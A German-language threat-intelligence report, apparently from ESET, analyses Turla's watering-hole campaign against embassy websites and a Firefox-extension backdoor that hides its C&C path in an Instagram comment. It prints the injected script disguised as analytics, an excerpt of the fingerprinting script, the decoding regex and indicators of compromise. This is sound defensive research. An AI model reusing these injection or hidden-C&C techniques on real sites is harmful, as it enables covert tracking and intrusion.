Einige Taktiken bei APT-Attacken sterben nie aus. Ein gutes Beispiel dafür liefert nun Turlas Watering Hole Kampagne. Turla, welche schon Regierungen, Regierungsoffizielle oder Diplomaten angriffen – Beispiele finden sich in diesem Paper – versucht sich immer noch am Einsatz von Watering Hole Techniken, um potenzielle interessante Opfer in ihre C&C-Infrastruktur zu locken. Tatsächlich benutzt die cyberkriminelle Gang diese Taktik bereits seit mindestens 2014 mit nur kleinen Änderungen in ihrer Verfahrensweise.
Eine Watering Hole Attacke kompromittiert Webseiten, die von potenziellen Zielen möglicherweise aufgerufen werden. Die Leute hinter Turla haben es gerne auf Webseiten von Botschaften abgesehen. Im Februar 2017 veröffentlichten Forcepoint einen Blogpost, der einige kompromittierte Webseiten auflistet.
Wir überwachen die Entwicklungen der Turla Kampagnen natürlich genau und haben vor kurzem bemerkt, dass sie die Technik nun wiederverwenden. Das beobachteten wir seit ein paar Monaten nicht mehr.
Initiale Kompromittierung
Im IoC-Abschnitt weiter unten gibt es eine Liste von Websites, die in der Vergangenheit verwendet wurden, um zu Turlas Watering Hole C&C-Server umzuleiten. Wie es bei dieser Gruppe üblich ist, gibt es viele Webseiten, die direkt mit Botschaften auf der ganzen Welt zusammenhängen.
Die Besucher der Webseiten werden durch an der originalen Seite angehangenen Snippets an bösartige Server weitergeleitet. Die in den letzten Monaten verwendeten Skripte waren alle dem folgenden ähnlich:
!-- Clicky Web Analytics (start) -->
<script type="text/javascript">// <![CDATA[
var clicky_site_ids = clicky_site_ids || [];
clicky_site_ids.push(100673048);
(function() {
var s = document.createElement('script');
var a = 'hxxp://www.mentalhealthcheck.net/';
var b = 'update/counter.js';
s.type = 'text/javascript'; s.async = true;
s.src = '//static.getclicky.com/js'; s.src = a.concat(b);
( document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(s);
})();
// ]]></script>
Die Angreifer haben einen Link zu Clicky, einem Echtzeit-Web-Analytics-Framework, hinzugefügt. Sie ergänzen den Framework-Namen mit der Absicht, das angehängte Skript durch eine flüchtige oder nicht-fachkundige Untersuchung legitimieren zu lassen. Und dass, obwohl es beim Angriff tatsächlich nicht verwendet wird. Aus dem obigen Skript geht hervor, dass das angehangene Skript versucht, ein weiteres (mentalhealthcheck.net/update/counter.js) zu laden. Das ist ein Server, den die Turla-Bande benutzt, um Fingerprint-Skripte – Skripte zur Sammlung von Informationen wie des verwendeten Computersystems – an interessante Opfer auszuteilen. Vor Clicky waren Verweise zum Google Analytics-Skript bei der Turla-Gruppe in Mode. Im IoCs Abschnitt kann man die verschiedenen Watering Hole C&C-Server entnehmen, die wir in den letzten paar Monaten aufgespürt haben. Alle diese C&C-Server sind legitime aber kompromittierte Server.
Der nächste Schritt des Angriffs ist die Verteilung des Fingerprint-JavaSkripts unter interessanten Zielen. Dafür filtern die C&C-Server Besucher eines bestimmten IP-Bereichs. Befinden sich Opfer in dem abgesteckten IP-Bereich, erhalten sie das Fingerprint-Skript. Wenn nicht, erhalten sie ein gutartiges Skript: eine JS-Implementierung des MD5-Hash-Algorithmus. Im Folgenden zeigen wir einen Auszug aus dem entschleierten Skript, das von Opfern aus einem abgesteckten IP-Bereich empfangen wird:
function cb_custom() {
loadScript("hxxp://www.mentalhealthcheck.net/script/pde.js", cb_custom1);
}
function cb_custom1() {
PluginDetect.getVersion('.');
myResults['Java']=PluginDetect.getVersion('Java');
myResults['Flash']=PluginDetect.getVersion('Flash');
myResults['Shockwave']=PluginDetect.getVersion('Shockwave');
myResults['AdobeReader']=PluginDetect.getVersion('AdobeReader') || PluginDetect.getVersion('PDFReader');
var ec = new evercookie();
ec.get('thread', getCookie)
Dieses Javascript wird eine JS-Bibliothek namens PluginDetect herunterladen, welches die Möglichkeit besitzt, Informationen über im Browser installierte Plugins zu sammeln. Die gesammelten Informationen werden dann an den C&C-Server gesendet.
Das Skript wird auch versuchen, ein sogenanntes Super Cookie zu setzen, das alle zukünftig vom Benutzer aufgerufenen Seiten bei Surfen aufzeichnet.
Für diejenigen, die mit der Watering Hole Kampagne vertraut sind, ist klar, dass Turla immer noch mit ihren alten und öffentlich bekannten aber bewährten Methoden agiert.
Firefox-Erweiterung
Während unserer Überwachung ist uns ein sehr interessantes Sample aufgefallen. Einige erinnern sich vielleicht an den Pacifier APT Bericht von BitDefender. Dieser beschreibt eine Spearfishing-Kampagne, ausgelöst durch ein schädliches MS Word-Dokument, dass an verschiedene Institutionen auf der ganzen Welt versendet wurde. Diese Schad-Dokument setzte eine Backdoor ab. Heute wissen wir, dass es sich dabei um Skipper handelte – einer First Stage Backdoor, die von Turla benutzt wird.
Dieser Bericht enthält auch eine Beschreibung einer Firefox-Erweiterung, die von der gleichen Art von bösartigem Dokument bereitgestellt wird. Nun stellt sich heraus, dass wir wahrscheinlich ein Update dieser Firefox-Erweiterung gefunden haben. Es ist eine JavaScript-Backdoor, die in ihrer Implementierung anders als die im Pacifier APT-Bericht ist, sich aber mit ähnlichen Funktionalitäten präsentiert.
Wir haben festgestellt, dass diese Erweiterung durch eine kompromittierte Website einer Schweizer Sicherheitsfirma verteilt wurde. Ahnungslose Besucher der Website wurden gebeten, die bösartige Erweiterung zu installieren. Die Erweiterung ist eine einfache Hintertür, aber mit einer interessanten Art, die C&C-Domain aufzurufen.
Die Verwendung von Instagram
Die Erweiterung verwendet eine bit.ly URL, um Turlas C&C-Server zu erreichen. Der URL-Pfad ist allerdings nirgendwo im Code der Erweiterung zu finden. Tatsächlich erhält man den C&C-Pfad durch Kommentare, die unter einem bestimmten Instagram-Post abgesetzt wurden. Der Pfad, der in unserem analysierten Sample verwendet wurde, war ein zunächst unauffälliger Kommentar unter einem Foto vom offiziellen Instagram-Account von Britney Spears.
© https://www.instagram.com/p/BO8gU41A45g/
Die Erweiterung geht alle Foto-Kommentare durch und berechnet je einen Hash-Wert. Wenn der Hash mit 183 übereinstimmt, wird er den folgenden regulären Ausdruck auf den Kommentar anwenden, um den Pfad der bit.ly URL zu erhalten:
(?:\\u200d(?:#|@)(\\w)
Unter allen Kommentaren gibt es nur einen, der in Frage kommt. Dieser Kommentar wurde am 6. Februar veröffentlicht, während das Originalfoto Anfang Januar veröffentlicht wurde. Nimmt man den Kommentar und führt ihn im RegEx aus, erhält man folgende bit.ly URL:
http://bit.ly/2kdhuHX
Wenn wir ein bisschen genauer auf den regulären Ausdruck schauen, sehen wir, dass das Skript entweder @ | # oder das Unicode-Zeichen \ 200d sucht. Dieses Zeichen ist eigentlich ein non-printable character namens 'Zero Width Joiner'. Normalerweise wird er verwendet, um emojis zu trennen. Das Einfügen des eigentlichen Kommentars oder das Betrachten der Quelle verdeutlicht, dass der non-printable character dazu verwendet wird, jedes einzelne Zeichen des bit.ly-Pfads anzuzeigen:
smith2155<200d>#2hot ma<200d>ke lovei<200d>d to <200d>her, <200d>uupss <200d>#Hot <200d>#X
Die Auflösung des verkürzten Links führt zu static.travelclothes.org/dolR_1ert.php, einem schon in der Vergangenheit benutzten Watering Hole C&C-Server.
Wie es bei allen bit.ly Links der Fall ist, kann man sich eine Statistik ausgeben lassen, wie oft auf den Link geklickt wurde.
Wie man der Grafik entnehmen kann, weist der Pfad nur 17 Hits auf. Die niedrige Zahl könnte darauf hinweisen, dass es sich nur um einen Testlauf handelte.
Technische Analyse
Die Firefox-Erweiterung implementiert eine einfache Backdoor. Diese sammelt zunächst Informationen über das laufende System und sendet diese dann AES-verschlüsselt an den C&C-Server. Das Verhalten ist ähnlich dem, wie es im Pacifier APT White Paper beschrieben ist.
Die Backdoor-Komponente besitzt die Möglichkeit, vier verschiedene Arten von Befehlen auszuführen:
- Eine beliebige Datei ausführen
- Datei zum C&C-Server hochladen
- Download einer Datei vom C&C-Server
- Verzeichnisinhalt lesen – Detailliste inklusive Größe und Datum zum C&C senden
Wir glauben, dass das nur ein Test der Turla-Bande war. Die nächste Version der Erweiterung, wird bestimmt ganz anders aussehen. Es gibt mehrere APIs, die von Erweiterungen verwendet werden, die in zukünftigen Versionen von Firefox aber wieder verschwinden.
Unser Sample verwendet beispielsweise XPCOM, um Dateien auf Festplatte zuschreiben und sdk / system / child_process, um einen Prozess zu starten. Ab Firefox Version 57 wird Firefox diese Add-Ons nicht mehr laden und damit die Verwendung der APIs verhindern. Eine einfache Portierung alter Add-ons ist also nicht möglich.
Schlussfolgerung
Es ist sehr interessant, dass die Turla-Gang Social Media für sich entdeckt hat, um den Pfad zu einem ihrer C&C-Server zu generieren. Dieses Verhalten wurde in der Vergangenheit aber auch schon bei anderen cyberkriminellen Banden, wie bei den „Dukes“, beobachtet. Angreifer, die Social Media verwenden, um eine C&C-Pfad zu erstellen, erschweren das Leben für Verteidigende. Erstens ist es schwierig, bösartigen Traffic in sozialen Netzwerken von legitimem Verkehr zu unterscheiden. Zweitens gibt es den Angreifern mehr Flexibilität, wenn es darum geht, die C&C-Adresse zu ändern und alle Spuren zu verwischen. Interessant ist auch, dass sie eine alte Art des Fingerprintings wieder aufgreifen und neue Wege finden, den C&C-Server-Abruf noch etwas komplexer zu gestalten.
Für jegliche Anfragen, oder zur Sample-Einreichung, die im Zusammenhang mit dem Thema stehen, verweisen wir auf: threatintel@eset.com.
Danksagung
Wir danken Clement Lecigne von der Google Threat Analysis Group für seine Hilfe bei der Erforschung dieser Malware-Kampagne.
IoCs
Firefox-Erweiterung Hash
File name | SHA-1 |
---|---|
html5.xpi | 5ba7532b4c89cc3f7ffe15b6c0e5df82a34c22ea |
html5.xpi | 8e6c9e4582d18dd75162bcbc63e933db344c5680 |
Beobachtete kompromittierte Webseiten, die auf Fingerprinting-Server umleiten
Mit der Texterstellung sind alle Seiten sauber oder zeigen auf tote Fingerprinting-Server.
URL | Description |
---|---|
hxxp://www.namibianembassyusa.org | Namibia Embassy – USA |
hxxp://www.avsa.org | African Violet Society of America |
hxxp://www.zambiaembassy.org | Zambian Embassy – USA |
hxxp://russianembassy.org | Russian Embassy – USA |
hxxp://au.int | African Union |
hxxp://mfa.gov.kg | Ministry of Foreign Affairs – Kyrgyzstan |
hxxp://mfa.uz | Ministry of Foreign Affairs – Uzbekistan |
hxxp://www.adesyd.es | ADESyD - Asociación de Diplomados Españoles en Seguridad y Defensa |
hxxp://www.bewusstkaufen.at | web portal for sustainable consumption in Austria |
hxxp://www.cifga.es | Cifga Laboratory working on development of marine toxin standards |
hxxp://www.jse.org | Juventudes Socialistas de España (JSE) |
hxxp://www.embassyofindonesia.org | Embassy of Indonesia – USA |
hxxp://www.mischendorf.at | town of Mischendorf – Austria |
hxxp://www.vfreiheitliche.at | Political party in Bregenz, Austria |
hxxp://www.xeneticafontao.com | Fontao Genetics, S.A. established in 1998 is responsible for the management of the Centre for Animal Selection and Reproduction of Galicia breeds Holstein, Rubia Gallega |
hxxp://iraqiembassy.us | Embassy of Iraq – USA |
hxxp://sai.gov.ua | Management of road safety (Ukraine) |
hxxp://www.mfa.gov.md | Ministry of Foreign Affairs – Moldova |
hxxp://mkk.gov.kg | State Personnel Service - Kyrgyzstan |
Kompromittierte Webseiten, die als First Stage Watering Hole C&C verwendet wurden:
- hxxp://www.mentalhealthcheck.net/update/counter.js (hxxp://bitly.com/2hlv91v+)
- hxxp://www.mentalhealthcheck.net/script/pde.js
- hxxp://drivers.epsoncorp.com/plugin/analytics/counter.js
- hxxp://rss.nbcpost.com/news/today/content.php
- hxxp://static.travelclothes.org/main.js
- hxxp://msgcollection.com/templates/nivoslider/loading.php
- hxxp://versal.media/?atis=509
- hxxp://www.ajepcoin.com/UserFiles/File/init.php (hxxp://bit.ly/2h8Lztj+)
- hxxp://loveandlight.aws3.net/wp-includes/theme-compat/akismet.php
- hxxp://alessandrosl.com/core/modules/mailer/mailer.php